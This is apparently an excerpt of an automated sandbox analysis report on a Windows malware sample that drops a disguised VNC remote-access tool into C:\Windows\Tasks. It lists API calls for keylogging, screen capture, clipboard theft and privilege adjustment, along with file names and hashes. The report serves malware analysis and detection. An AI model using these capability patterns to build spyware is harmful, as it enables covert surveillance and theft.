Source: C:\Windows\Tasks\sync_browser.exe	Code function: 26_2_00007FF7E5071DD0 OpenClipboard,EmptyClipboard,CloseClipboard,MultiByteToWideChar,GlobalAlloc,GlobalLock,MultiByteToWideChar,GlobalUnlock,SetClipboardData,GlobalFree,CloseClipboard,GlobalAlloc,CloseClipboard,GlobalLock,GlobalUnlock,SetClipboardData,GlobalFree,GlobalAlloc,CloseClipboard,GlobalLock,GlobalUnlock,SetClipboardData,GlobalFree,GlobalAlloc,CloseClipboard,GlobalLock,GlobalUnlock,SetClipboardData,GlobalFree,CloseClipboard,	26_2_00007FF7E5071DD0
Source: C:\Windows\Tasks\sync_browser.exe	Code function: 26_2_00007FF7E50A13A0 OpenClipboard,EmptyClipboard,GlobalAlloc,GlobalLock,GlobalUnlock,SetClipboardData,CloseClipboard,	26_2_00007FF7E50A13A0

Source: C:\Windows\Tasks\sync_browser.exe

Code function: 23_2_00007FF7E5071AE0 OpenClipboard,IsClipboardFormatAvailable,GetClipboardData,GlobalLock,GlobalSize,WideCharToMultiByte,WideCharToMultiByte,GlobalUnlock,IsClipboardFormatAvailable,GetClipboardData,GlobalLock,GlobalSize,GlobalUnlock,IsClipboardFormatAvailable,GetClipboardData,GlobalLock,GlobalSize,GlobalUnlock,IsClipboardFormatAvailable,GetClipboardData,GlobalLock,GlobalSize,GlobalUnlock,CloseClipboard,

23_2_00007FF7E5071AE0

Source: C:\Windows\Tasks\sync_browser.exe

Code function: 23_2_00007FF7E5073770 GetDC,CreateCompatibleDC,CreateCompatibleBitmap,GetDIBits,GetDIBits,GetDeviceCaps,GetDeviceCaps,GetDeviceCaps,CreateDIBSection,CreateCompatibleBitmap,DeleteObject,timeGetTime,SelectObject,BitBlt,SelectObject,timeGetTime,timeGetTime,GetPixel,timeGetTime,ReleaseDC,DeleteDC,DeleteObject,

23_2_00007FF7E5073770

Source: C:\Windows\Tasks\sync_browser.exe

Code function: 23_2_00007FF7E50C0650 VkKeyScanA,GetAsyncKeyState,MapVirtualKeyA,GetAsyncKeyState,MapVirtualKeyA,GetAsyncKeyState,MapVirtualKeyA,MapVirtualKeyA,MapVirtualKeyA,MapVirtualKeyA,MapVirtualKeyA,MapVirtualKeyA,MapVirtualKeyA,MapVirtualKeyA,MapVirtualKeyA,MapVirtualKeyA,MapVirtualKeyA,GetKeyState,GetAsyncKeyState,MapVirtualKeyA,GetAsyncKeyState,MapVirtualKeyA,GetAsyncKeyState,MapVirtualKeyA,GetAsyncKeyState,MapVirtualKeyA,GetAsyncKeyState,MapVirtualKeyA,GetAsyncKeyState,MapVirtualKeyA,MapVirtualKeyA,GetAsyncKeyState,GetAsyncKeyState,CreateThread,CloseHandle,WinExec,MapVirtualKeyA,

23_2_00007FF7E50C0650

Source: C:\Windows\Tasks\sync_browser.exe	Code function: 23_2_00007FF7E50874C0 keybd_event,GetKeyState,GetKeyState,GetKeyState,GetKeyState,GetKeyState,GetKeyState,TryEnterCriticalSection,LeaveCriticalSection,keybd_event,		23_2_00007FF7E50874C0
Source: C:\Windows\Tasks\sync_browser.exe	Code function: 26_2_00007FF7E50874C0 keybd_event,GetKeyState,GetKeyState,GetKeyState,GetKeyState,GetKeyState,GetKeyState,TryEnterCriticalSection,LeaveCriticalSection,keybd_event,		26_2_00007FF7E50874C0

Source: C:\Windows\Tasks\sync_browser.exe

Code function: 23_2_00007FF7E5082E40 OpenSCManagerA,OpenServiceA,GetLastError,CloseServiceHandle,CloseServiceHandle,QueryServiceStatus,CloseServiceHandle,CloseServiceHandle,Sleep,DeleteService,CloseServiceHandle,CloseServiceHandle,CloseServiceHandle,CloseServiceHandle,

23_2_00007FF7E5082E40

Source: C:\Windows\Tasks\sync_browser.exe

Code function: 23_2_00007FF7E507D560 GetModuleFileNameA,FindWindowA,GetWindowThreadProcessId,OpenProcess,OpenProcessToken,CreateProcessAsUserA,GetLastError,CloseHandle,CloseHandle,CloseHandle,CloseHandle,

23_2_00007FF7E507D560

Source: C:\Windows\Tasks\sync_browser.exe	Code function: 23_2_00007FF7E5083550 GetCurrentProcess,OpenProcessToken,LookupPrivilegeValueA,AdjustTokenPrivileges,GetVersionExA,ExitWindowsEx,	23_2_00007FF7E5083550
Source: C:\Windows\Tasks\sync_browser.exe	Code function: 23_2_00007FF7E50834B0 GetCurrentProcess,OpenProcessToken,LookupPrivilegeValueA,AdjustTokenPrivileges,ExitWindowsEx,	23_2_00007FF7E50834B0
Source: C:\Windows\Tasks\sync_browser.exe	Code function: 26_2_00007FF7E5083550 GetCurrentProcess,OpenProcessToken,LookupPrivilegeValueA,AdjustTokenPrivileges,GetVersionExA,ExitWindowsEx,	26_2_00007FF7E5083550
Source: C:\Windows\Tasks\sync_browser.exe	Code function: 26_2_00007FF7E50834B0 GetCurrentProcess,OpenProcessToken,LookupPrivilegeValueA,AdjustTokenPrivileges,ExitWindowsEx,	26_2_00007FF7E50834B0

Source: C:\Windows\SysWOW64\cmd.exe	File created: C:\Windows\Tasks\5482310161066753	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	File created: C:\Windows\Tasks\CEpr8q.li7XUg	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	File created: C:\Windows\Tasks\GIjul8.QTIrrr	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	File created: C:\Windows\Tasks\gTFLK1.jBd3Ei	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	File created: C:\Windows\Tasks\sdABZ4.E1924R	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	File created: C:\Windows\Tasks\5482310161066753.cmd	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	File created: C:\Windows\Tasks\sync_browser.exe	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	File created: C:\Windows\Tasks\UltraVNC.ini	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	File created: C:\Windows\Tasks\conhost.exe	Jump to behavior

Source: C:\Users\user\Desktop\Olz7TmvkEW.exe	Code function: 0_2_00405721	0_2_00405721
Source: C:\Users\user\Desktop\Olz7TmvkEW.exe	Code function: 0_2_004139D1	0_2_004139D1
Source: C:\Users\user\Desktop\Olz7TmvkEW.exe	Code function: 0_2_00413AAB	0_2_00413AAB
Source: C:\Users\user\Desktop\Olz7TmvkEW.exe	Code function: 0_2_00413370	0_2_00413370
Source: C:\Users\user\Desktop\Olz7TmvkEW.exe	Code function: 0_2_00413D43	0_2_00413D43
Source: C:\Users\user\Desktop\Olz7TmvkEW.exe	Code function: 0_2_0040AD30	0_2_0040AD30
Source: C:\Windows\Tasks\sync_browser.exe	Code function: 23_2_00007FF7E50936D0	23_2_00007FF7E50936D0
Source: C:\Windows\Tasks\sync_browser.exe	Code function: 23_2_00007FF7E50A3E20	23_2_00007FF7E50A3E20
Source: C:\Windows\Tasks\sync_browser.exe	Code function: 23_2_00007FF7E5091620	23_2_00007FF7E5091620
Source: C:\Windows\Tasks\sync_browser.exe	Code function: 23_2_00007FF7E5092650	23_2_00007FF7E5092650
Source: C:\Windows\Tasks\sync_browser.exe	Code function: 23_2_00007FF7E50C0650	23_2_00007FF7E50C0650
Source: C:\Windows\Tasks\sync_browser.exe	Code function: 23_2_00007FF7E509AE70	23_2_00007FF7E509AE70
Source: C:\Windows\Tasks\sync_browser.exe	Code function: 23_2_00007FF7E50A1660	23_2_00007FF7E50A1660
Source: C:\Windows\Tasks\sync_browser.exe	Code function: 23_2_00007FF7E513068C	23_2_00007FF7E513068C
Source: C:\Windows\Tasks\sync_browser.exe	Code function: 23_2_00007FF7E5074E80	23_2_00007FF7E5074E80
Source: C:\Windows\Tasks\sync_browser.exe	Code function: 23_2_00007FF7E508AD30	23_2_00007FF7E508AD30
Source: C:\Windows\Tasks\sync_browser.exe	Code function: 23_2_00007FF7E5088590	23_2_00007FF7E5088590
Source: C:\Windows\Tasks\sync_browser.exe	Code function: 23_2_00007FF7E5094D7E	23_2_00007FF7E5094D7E
Source: C:\Windows\Tasks\sync_browser.exe	Code function: 23_2_00007FF7E508C5B0	23_2_00007FF7E508C5B0
Source: C:\Windows\Tasks\sync_browser.exe	Code function: 23_2_00007FF7E5096DD1	23_2_00007FF7E5096DD1
Source: C:\Windows\Tasks\sync_browser.exe	Code function: 23_2_00007FF7E5071DD0	23_2_00007FF7E5071DD0
Source: C:\Windows\Tasks\sync_browser.exe	Code function: 23_2_00007FF7E5088E10	23_2_00007FF7E5088E10
Source: C:\Windows\Tasks\sync_browser.exe	Code function: 23_2_00007FF7E508E610	23_2_00007FF7E508E610
Source: C:\Windows\Tasks\sync_browser.exe	Code function: 23_2_00007FF7E509A870	23_2_00007FF7E509A870
Source: C:\Windows\Tasks\sync_browser.exe	Code function: 23_2_00007FF7E508A890	23_2_00007FF7E508A890
Source: C:\Windows\Tasks\sync_browser.exe	Code function: 23_2_00007FF7E508C090	23_2_00007FF7E508C090
Source: C:\Windows\Tasks\sync_browser.exe	Code function: 23_2_00007FF7E5071880	23_2_00007FF7E5071880
Source: C:\Windows\Tasks\sync_browser.exe	Code function: 23_2_00007FF7E50870B0	23_2_00007FF7E50870B0
Source: C:\Windows\Tasks\sync_browser.exe	Code function: 23_2_00007FF7E508C8D0	23_2_00007FF7E508C8D0
Source: C:\Windows\Tasks\sync_browser.exe	Code function: 23_2_00007FF7E50820E0	23_2_00007FF7E50820E0
Source: C:\Windows\Tasks\sync_browser.exe	Code function: 23_2_00007FF7E507A910	23_2_00007FF7E507A910
Source: C:\Windows\Tasks\sync_browser.exe	Code function: 23_2_00007FF7E5081100	23_2_00007FF7E5081100
Source: C:\Windows\Tasks\sync_browser.exe	Code function: 23_2_00007FF7E5089740	23_2_00007FF7E5089740
Source: C:\Windows\Tasks\sync_browser.exe	Code function: 23_2_00007FF7E512DF80	23_2_00007FF7E512DF80
Source: C:\Windows\Tasks\sync_browser.exe	Code function: 23_2_00007FF7E5073770	23_2_00007FF7E5073770
Source: C:\Windows\Tasks\sync_browser.exe	Code function: 23_2_00007FF7E508AF60	23_2_00007FF7E508AF60
Source: C:\Windows\Tasks\sync_browser.exe	Code function: 23_2_00007FF7E509E780	23_2_00007FF7E509E780
Source: C:\Windows\Tasks\sync_browser.exe	Code function: 23_2_00007FF7E507C810	23_2_00007FF7E507C810
Source: C:\Windows\Tasks\sync_browser.exe	Code function: 23_2_00007FF7E5095A33	23_2_00007FF7E5095A33
Source: C:\Windows\Tasks\sync_browser.exe	Code function: 23_2_00007FF7E5077A1C	23_2_00007FF7E5077A1C
Source: C:\Windows\Tasks\sync_browser.exe	Code function: 23_2_00007FF7E5127250	23_2_00007FF7E5127250
Source: C:\Windows\Tasks\sync_browser.exe	Code function: 23_2_00007FF7E509623E	23_2_00007FF7E509623E
Source: C:\Windows\Tasks\sync_browser.exe	Code function: 23_2_00007FF7E5098A70	23_2_00007FF7E5098A70
Source: C:\Windows\Tasks\sync_browser.exe	Code function: 23_2_00007FF7E5080270	23_2_00007FF7E5080270
Source: C:\Windows\Tasks\sync_browser.exe	Code function: 23_2_00007FF7E5072270	23_2_00007FF7E5072270
Source: C:\Windows\Tasks\sync_browser.exe	Code function: 23_2_00007FF7E5077A5B	23_2_00007FF7E5077A5B
Source: C:\Windows\Tasks\sync_browser.exe	Code function: 23_2_00007FF7E5073A90	23_2_00007FF7E5073A90
Source: C:\Windows\Tasks\sync_browser.exe	Code function: 23_2_00007FF7E5077A9A	23_2_00007FF7E5077A9A
Source: C:\Windows\Tasks\sync_browser.exe	Code function: 23_2_00007FF7E5077ACF	23_2_00007FF7E5077ACF
Source: C:\Windows\Tasks\sync_browser.exe	Code function: 23_2_00007FF7E509C2C0	23_2_00007FF7E509C2C0
Source: C:\Windows\Tasks\sync_browser.exe	Code function: 23_2_00007FF7E50E12C0	23_2_00007FF7E50E12C0
Source: C:\Windows\Tasks\sync_browser.exe	Code function: 23_2_00007FF7E509AB10	23_2_00007FF7E509AB10
Source: C:\Windows\Tasks\sync_browser.exe	Code function: 23_2_00007FF7E5077B04	23_2_00007FF7E5077B04
Source: C:\Windows\Tasks\sync_browser.exe	Code function: 23_2_00007FF7E508A130	23_2_00007FF7E508A130
Source: C:\Windows\Tasks\sync_browser.exe	Code function: 23_2_00007FF7E5086930	23_2_00007FF7E5086930
Source: C:\Windows\Tasks\sync_browser.exe	Code function: 23_2_00007FF7E509D150	23_2_00007FF7E509D150
Source: C:\Windows\Tasks\sync_browser.exe	Code function: 23_2_00007FF7E5075170	23_2_00007FF7E5075170
Source: C:\Windows\Tasks\sync_browser.exe	Code function: 23_2_00007FF7E509F980	23_2_00007FF7E509F980
Source: C:\Windows\Tasks\sync_browser.exe	Code function: 23_2_00007FF7E5088980	23_2_00007FF7E5088980
Source: C:\Windows\Tasks\sync_browser.exe	Code function: 23_2_00007FF7E50781AD	23_2_00007FF7E50781AD
Source: C:\Windows\Tasks\sync_browser.exe	Code function: 23_2_00007FF7E507E1D0	23_2_00007FF7E507E1D0
Source: C:\Windows\Tasks\sync_browser.exe	Code function: 23_2_00007FF7E50951B7	23_2_00007FF7E50951B7
Source: C:\Windows\Tasks\sync_browser.exe	Code function: 23_2_00007FF7E50779E9	23_2_00007FF7E50779E9
Source: C:\Windows\Tasks\sync_browser.exe	Code function: 23_2_00007FF7E51309F0	23_2_00007FF7E51309F0
Source: C:\Windows\Tasks\sync_browser.exe	Code function: 23_2_00007FF7E5074200	23_2_00007FF7E5074200
Source: C:\Windows\Tasks\sync_browser.exe	Code function: 23_2_00007FF7E509A420	23_2_00007FF7E509A420
Source: C:\Windows\Tasks\sync_browser.exe	Code function: 23_2_00007FF7E50A3460	23_2_00007FF7E50A3460
Source: C:\Windows\Tasks\sync_browser.exe	Code function: 23_2_00007FF7E5138C90	23_2_00007FF7E5138C90
Source: C:\Windows\Tasks\sync_browser.exe	Code function: 23_2_00007FF7E5132C70	23_2_00007FF7E5132C70
Source: C:\Windows\Tasks\sync_browser.exe	Code function: 23_2_00007FF7E50A54A0	23_2_00007FF7E50A54A0
Source: C:\Windows\Tasks\sync_browser.exe	Code function: 23_2_00007FF7E50A5CA0	23_2_00007FF7E50A5CA0
Source: C:\Windows\Tasks\sync_browser.exe	Code function: 23_2_00007FF7E5092CC0	23_2_00007FF7E5092CC0
Source: C:\Windows\Tasks\sync_browser.exe	Code function: 23_2_00007FF7E509DCF0	23_2_00007FF7E509DCF0
Source: C:\Windows\Tasks\sync_browser.exe	Code function: 23_2_00007FF7E507DCF0	23_2_00007FF7E507DCF0
Source: C:\Windows\Tasks\sync_browser.exe	Code function: 23_2_00007FF7E50A1CE0	23_2_00007FF7E50A1CE0
Source: C:\Windows\Tasks\sync_browser.exe	Code function: 23_2_00007FF7E5081D10	23_2_00007FF7E5081D10
Source: C:\Windows\Tasks\sync_browser.exe	Code function: 23_2_00007FF7E50A0330	23_2_00007FF7E50A0330
Source: C:\Windows\Tasks\sync_browser.exe	Code function: 23_2_00007FF7E5077B37	23_2_00007FF7E5077B37
Source: C:\Windows\Tasks\sync_browser.exe	Code function: 23_2_00007FF7E5077B71	23_2_00007FF7E5077B71
Source: C:\Windows\Tasks\sync_browser.exe	Code function: 23_2_00007FF7E5087B90	23_2_00007FF7E5087B90
Source: C:\Windows\Tasks\sync_browser.exe	Code function: 23_2_00007FF7E5074390	23_2_00007FF7E5074390
Source: C:\Windows\Tasks\sync_browser.exe	Code function: 23_2_00007FF7E508BB80	23_2_00007FF7E508BB80
Source: C:\Windows\Tasks\sync_browser.exe	Code function: 23_2_00007FF7E5077BA6	23_2_00007FF7E5077BA6
Source: C:\Windows\Tasks\sync_browser.exe	Code function: 23_2_00007FF7E509739B	23_2_00007FF7E509739B
Source: C:\Windows\Tasks\sync_browser.exe	Code function: 23_2_00007FF7E508B3D0	23_2_00007FF7E508B3D0
Source: C:\Windows\Tasks\sync_browser.exe	Code function: 23_2_00007FF7E5096BBD	23_2_00007FF7E5096BBD
Source: C:\Windows\Tasks\sync_browser.exe	Code function: 23_2_00007FF7E512E400	23_2_00007FF7E512E400
Source: C:\Windows\Tasks\sync_browser.exe	Code function: 23_2_00007FF7E50893E0	23_2_00007FF7E50893E0
Source: C:\Windows\Tasks\sync_browser.exe	Code function: 23_2_00007FF7E5077BE2	23_2_00007FF7E5077BE2
Source: C:\Windows\Tasks\sync_browser.exe	Code function: 23_2_00007FF7E5084C10	23_2_00007FF7E5084C10
Source: C:\Windows\Tasks\sync_browser.exe	Code function: 26_2_00007FF7E50A3E20	26_2_00007FF7E50A3E20
Source: C:\Windows\Tasks\sync_browser.exe	Code function: 26_2_00007FF7E5091620	26_2_00007FF7E5091620
Source: C:\Windows\Tasks\sync_browser.exe	Code function: 26_2_00007FF7E5092650	26_2_00007FF7E5092650
Source: C:\Windows\Tasks\sync_browser.exe	Code function: 26_2_00007FF7E50C0650	26_2_00007FF7E50C0650
Source: C:\Windows\Tasks\sync_browser.exe	Code function: 26_2_00007FF7E509AE70	26_2_00007FF7E509AE70
Source: C:\Windows\Tasks\sync_browser.exe	Code function: 26_2_00007FF7E50A1660	26_2_00007FF7E50A1660
Source: C:\Windows\Tasks\sync_browser.exe	Code function: 26_2_00007FF7E513068C	26_2_00007FF7E513068C
Source: C:\Windows\Tasks\sync_browser.exe	Code function: 26_2_00007FF7E5074E80	26_2_00007FF7E5074E80
Source: C:\Windows\Tasks\sync_browser.exe	Code function: 26_2_00007FF7E50936D0	26_2_00007FF7E50936D0
Source: C:\Windows\Tasks\sync_browser.exe	Code function: 26_2_00007FF7E508AD30	26_2_00007FF7E508AD30
Source: C:\Windows\Tasks\sync_browser.exe	Code function: 26_2_00007FF7E5088590	26_2_00007FF7E5088590
Source: C:\Windows\Tasks\sync_browser.exe	Code function: 26_2_00007FF7E5094D7E	26_2_00007FF7E5094D7E
Source: C:\Windows\Tasks\sync_browser.exe	Code function: 26_2_00007FF7E508C5B0	26_2_00007FF7E508C5B0
Source: C:\Windows\Tasks\sync_browser.exe	Code function: 26_2_00007FF7E5096DD1	26_2_00007FF7E5096DD1
Source: C:\Windows\Tasks\sync_browser.exe	Code function: 26_2_00007FF7E5071DD0	26_2_00007FF7E5071DD0
Source: C:\Windows\Tasks\sync_browser.exe	Code function: 26_2_00007FF7E5092DF3	26_2_00007FF7E5092DF3
Source: C:\Windows\Tasks\sync_browser.exe	Code function: 26_2_00007FF7E5088E10	26_2_00007FF7E5088E10
Source: C:\Windows\Tasks\sync_browser.exe	Code function: 26_2_00007FF7E508E610	26_2_00007FF7E508E610
Source: C:\Windows\Tasks\sync_browser.exe	Code function: 26_2_00007FF7E509A870	26_2_00007FF7E509A870
Source: C:\Windows\Tasks\sync_browser.exe	Code function: 26_2_00007FF7E508A890	26_2_00007FF7E508A890
Source: C:\Windows\Tasks\sync_browser.exe	Code function: 26_2_00007FF7E508C090	26_2_00007FF7E508C090
Source: C:\Windows\Tasks\sync_browser.exe	Code function: 26_2_00007FF7E5071880	26_2_00007FF7E5071880
Source: C:\Windows\Tasks\sync_browser.exe	Code function: 26_2_00007FF7E50870B0	26_2_00007FF7E50870B0
Source: C:\Windows\Tasks\sync_browser.exe	Code function: 26_2_00007FF7E508C8D0	26_2_00007FF7E508C8D0
Source: C:\Windows\Tasks\sync_browser.exe	Code function: 26_2_00007FF7E50820E0	26_2_00007FF7E50820E0
Source: C:\Windows\Tasks\sync_browser.exe	Code function: 26_2_00007FF7E507A910	26_2_00007FF7E507A910
Source: C:\Windows\Tasks\sync_browser.exe	Code function: 26_2_00007FF7E5081100	26_2_00007FF7E5081100
Source: C:\Windows\Tasks\sync_browser.exe	Code function: 26_2_00007FF7E5089740	26_2_00007FF7E5089740
Source: C:\Windows\Tasks\sync_browser.exe	Code function: 26_2_00007FF7E512DF80	26_2_00007FF7E512DF80
Source: C:\Windows\Tasks\sync_browser.exe	Code function: 26_2_00007FF7E5073770	26_2_00007FF7E5073770
Source: C:\Windows\Tasks\sync_browser.exe	Code function: 26_2_00007FF7E508AF60	26_2_00007FF7E508AF60
Source: C:\Windows\Tasks\sync_browser.exe	Code function: 26_2_00007FF7E509E780	26_2_00007FF7E509E780
Source: C:\Windows\Tasks\sync_browser.exe	Code function: 26_2_00007FF7E507C810	26_2_00007FF7E507C810
Source: C:\Windows\Tasks\sync_browser.exe	Code function: 26_2_00007FF7E5095A33	26_2_00007FF7E5095A33
Source: C:\Windows\Tasks\sync_browser.exe	Code function: 26_2_00007FF7E5077A1C	26_2_00007FF7E5077A1C
Source: C:\Windows\Tasks\sync_browser.exe	Code function: 26_2_00007FF7E5127250	26_2_00007FF7E5127250
Source: C:\Windows\Tasks\sync_browser.exe	Code function: 26_2_00007FF7E509623E	26_2_00007FF7E509623E
Source: C:\Windows\Tasks\sync_browser.exe	Code function: 26_2_00007FF7E5098A70	26_2_00007FF7E5098A70
Source: C:\Windows\Tasks\sync_browser.exe	Code function: 26_2_00007FF7E5080270	26_2_00007FF7E5080270
Source: C:\Windows\Tasks\sync_browser.exe	Code function: 26_2_00007FF7E5072270	26_2_00007FF7E5072270
Source: C:\Windows\Tasks\sync_browser.exe	Code function: 26_2_00007FF7E5077A5B	26_2_00007FF7E5077A5B
Source: C:\Windows\Tasks\sync_browser.exe	Code function: 26_2_00007FF7E5073A90	26_2_00007FF7E5073A90
Source: C:\Windows\Tasks\sync_browser.exe	Code function: 26_2_00007FF7E5077A9A	26_2_00007FF7E5077A9A
Source: C:\Windows\Tasks\sync_browser.exe	Code function: 26_2_00007FF7E5077ACF	26_2_00007FF7E5077ACF
Source: C:\Windows\Tasks\sync_browser.exe	Code function: 26_2_00007FF7E509C2C0	26_2_00007FF7E509C2C0
Source: C:\Windows\Tasks\sync_browser.exe	Code function: 26_2_00007FF7E50E12C0	26_2_00007FF7E50E12C0
Source: C:\Windows\Tasks\sync_browser.exe	Code function: 26_2_00007FF7E509AB10	26_2_00007FF7E509AB10
Source: C:\Windows\Tasks\sync_browser.exe	Code function: 26_2_00007FF7E5077B04	26_2_00007FF7E5077B04
Source: C:\Windows\Tasks\sync_browser.exe	Code function: 26_2_00007FF7E508A130	26_2_00007FF7E508A130
Source: C:\Windows\Tasks\sync_browser.exe	Code function: 26_2_00007FF7E5086930	26_2_00007FF7E5086930
Source: C:\Windows\Tasks\sync_browser.exe	Code function: 26_2_00007FF7E509D150	26_2_00007FF7E509D150
Source: C:\Windows\Tasks\sync_browser.exe	Code function: 26_2_00007FF7E5075170	26_2_00007FF7E5075170
Source: C:\Windows\Tasks\sync_browser.exe	Code function: 26_2_00007FF7E509F980	26_2_00007FF7E509F980
Source: C:\Windows\Tasks\sync_browser.exe	Code function: 26_2_00007FF7E5088980	26_2_00007FF7E5088980
Source: C:\Windows\Tasks\sync_browser.exe	Code function: 26_2_00007FF7E50781AD	26_2_00007FF7E50781AD
Source: C:\Windows\Tasks\sync_browser.exe	Code function: 26_2_00007FF7E507E1D0	26_2_00007FF7E507E1D0
Source: C:\Windows\Tasks\sync_browser.exe	Code function: 26_2_00007FF7E50951B7	26_2_00007FF7E50951B7
Source: C:\Windows\Tasks\sync_browser.exe	Code function: 26_2_00007FF7E50779E9	26_2_00007FF7E50779E9
Source: C:\Windows\Tasks\sync_browser.exe	Code function: 26_2_00007FF7E51309F0	26_2_00007FF7E51309F0
Source: C:\Windows\Tasks\sync_browser.exe	Code function: 26_2_00007FF7E5074200	26_2_00007FF7E5074200
Source: C:\Windows\Tasks\sync_browser.exe	Code function: 26_2_00007FF7E509A420	26_2_00007FF7E509A420
Source: C:\Windows\Tasks\sync_browser.exe	Code function: 26_2_00007FF7E50A3460	26_2_00007FF7E50A3460
Source: C:\Windows\Tasks\sync_browser.exe	Code function: 26_2_00007FF7E5138C90	26_2_00007FF7E5138C90
Source: C:\Windows\Tasks\sync_browser.exe	Code function: 26_2_00007FF7E5132C70	26_2_00007FF7E5132C70
Source: C:\Windows\Tasks\sync_browser.exe	Code function: 26_2_00007FF7E50A54A0	26_2_00007FF7E50A54A0
Source: C:\Windows\Tasks\sync_browser.exe	Code function: 26_2_00007FF7E50A5CA0	26_2_00007FF7E50A5CA0
Source: C:\Windows\Tasks\sync_browser.exe	Code function: 26_2_00007FF7E509DCF0	26_2_00007FF7E509DCF0
Source: C:\Windows\Tasks\sync_browser.exe	Code function: 26_2_00007FF7E507DCF0	26_2_00007FF7E507DCF0
Source: C:\Windows\Tasks\sync_browser.exe	Code function: 26_2_00007FF7E50A1CE0	26_2_00007FF7E50A1CE0
Source: C:\Windows\Tasks\sync_browser.exe	Code function: 26_2_00007FF7E5081D10	26_2_00007FF7E5081D10
Source: C:\Windows\Tasks\sync_browser.exe	Code function: 26_2_00007FF7E50A0330	26_2_00007FF7E50A0330
Source: C:\Windows\Tasks\sync_browser.exe	Code function: 26_2_00007FF7E5077B37	26_2_00007FF7E5077B37
Source: C:\Windows\Tasks\sync_browser.exe	Code function: 26_2_00007FF7E5077B71	26_2_00007FF7E5077B71
Source: C:\Windows\Tasks\sync_browser.exe	Code function: 26_2_00007FF7E5087B90	26_2_00007FF7E5087B90
Source: C:\Windows\Tasks\sync_browser.exe	Code function: 26_2_00007FF7E5074390	26_2_00007FF7E5074390
Source: C:\Windows\Tasks\sync_browser.exe	Code function: 26_2_00007FF7E508BB80	26_2_00007FF7E508BB80
Source: C:\Windows\Tasks\sync_browser.exe	Code function: 26_2_00007FF7E5077BA6	26_2_00007FF7E5077BA6
Source: C:\Windows\Tasks\sync_browser.exe	Code function: 26_2_00007FF7E509739B	26_2_00007FF7E509739B
Source: C:\Windows\Tasks\sync_browser.exe	Code function: 26_2_00007FF7E508B3D0	26_2_00007FF7E508B3D0
Source: C:\Windows\Tasks\sync_browser.exe	Code function: 26_2_00007FF7E5096BBD	26_2_00007FF7E5096BBD
Source: C:\Windows\Tasks\sync_browser.exe	Code function: 26_2_00007FF7E512E400	26_2_00007FF7E512E400
Source: C:\Windows\Tasks\sync_browser.exe	Code function: 26_2_00007FF7E50893E0	26_2_00007FF7E50893E0
Source: C:\Windows\Tasks\sync_browser.exe	Code function: 26_2_00007FF7E5077BE2	26_2_00007FF7E5077BE2
Source: C:\Windows\Tasks\sync_browser.exe	Code function: 26_2_00007FF7E5084C10	26_2_00007FF7E5084C10

Source: Joe Sandbox View

Dropped File: C:\Users\user\AppData\Local\Temp\7ZipSfx.000\GIjul8.QTIrrr F7D4080AD8259B0AAC2504F8B5D8FAB18E5124321C442C8BCB577598059D0B24

Source: C:\Users\user\Desktop\Olz7TmvkEW.exe	Code function: String function: 004026B0 appears 38 times
Source: C:\Windows\Tasks\sync_browser.exe	Code function: String function: 00007FF7E50DA3B0 appears 38 times
Source: C:\Windows\Tasks\sync_browser.exe	Code function: String function: 00007FF7E51270B4 appears 56 times
Source: C:\Windows\Tasks\sync_browser.exe	Code function: String function: 00007FF7E5073730 appears 730 times
Source: C:\Windows\Tasks\sync_browser.exe	Code function: String function: 00007FF7E5129500 appears 42 times
Source: C:\Windows\Tasks\sync_browser.exe	Code function: String function: 00007FF7E5127C50 appears 60 times
Source: C:\Windows\Tasks\sync_browser.exe	Code function: String function: 00007FF7E507AE30 appears 34 times

Source: GIjul8.QTIrrr.0.dr	Static PE information: Resource name: JAVAARCHIVE type: Zip archive data, at least v2.0 to extract, compression method=deflate
Source: GIjul8.QTIrrr.0.dr	Static PE information: Resource name: JAVAARCHIVE type: Zip archive data, at least v2.0 to extract, compression method=deflate
Source: GIjul8.QTIrrr.2.dr	Static PE information: Resource name: JAVAARCHIVE type: Zip archive data, at least v2.0 to extract, compression method=deflate
Source: GIjul8.QTIrrr.2.dr	Static PE information: Resource name: JAVAARCHIVE type: Zip archive data, at least v2.0 to extract, compression method=deflate
Source: sync_browser.exe.6.dr	Static PE information: Resource name: JAVAARCHIVE type: Zip archive data, at least v2.0 to extract, compression method=deflate
Source: sync_browser.exe.6.dr	Static PE information: Resource name: JAVAARCHIVE type: Zip archive data, at least v2.0 to extract, compression method=deflate

Source: Olz7TmvkEW.exe, 00000000.00000003.1297167688.000000000273D000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: OriginalFilenameCONHOST.EXEj% vs Olz7TmvkEW.exe
Source: Olz7TmvkEW.exe, 00000000.00000003.1299009306.0000000002904000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: OriginalFilenameWinVNC.exe0 vs Olz7TmvkEW.exe
Source: Olz7TmvkEW.exe, 00000000.00000003.1299366156.000000000062B000.00000004.00001000.00020000.00000000.sdmp	Binary or memory string: OriginalFilenameWinVNC.exe0 vs Olz7TmvkEW.exe
Source: Olz7TmvkEW.exe, 00000000.00000000.1292984948.000000000041C000.00000002.00000001.01000000.00000003.sdmp	Binary or memory string: OriginalFilenamebrowser.exe( vs Olz7TmvkEW.exe
Source: Olz7TmvkEW.exe, 00000000.00000002.3170830566.0000000000798000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: OriginalFilenameCmd.Exe.MUIj% vs Olz7TmvkEW.exe
Source: Olz7TmvkEW.exe, 00000000.00000002.3170830566.0000000000798000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: OriginalFilenameCmd.Exej% vs Olz7TmvkEW.exe
Source: Olz7TmvkEW.exe	Binary or memory string: OriginalFilenamebrowser.exe( vs Olz7TmvkEW.exe

Source: Olz7TmvkEW.exe

Static PE information: RELOCS_STRIPPED, EXECUTABLE_IMAGE, 32BIT_MACHINE

Source: conhost.exe.6.dr

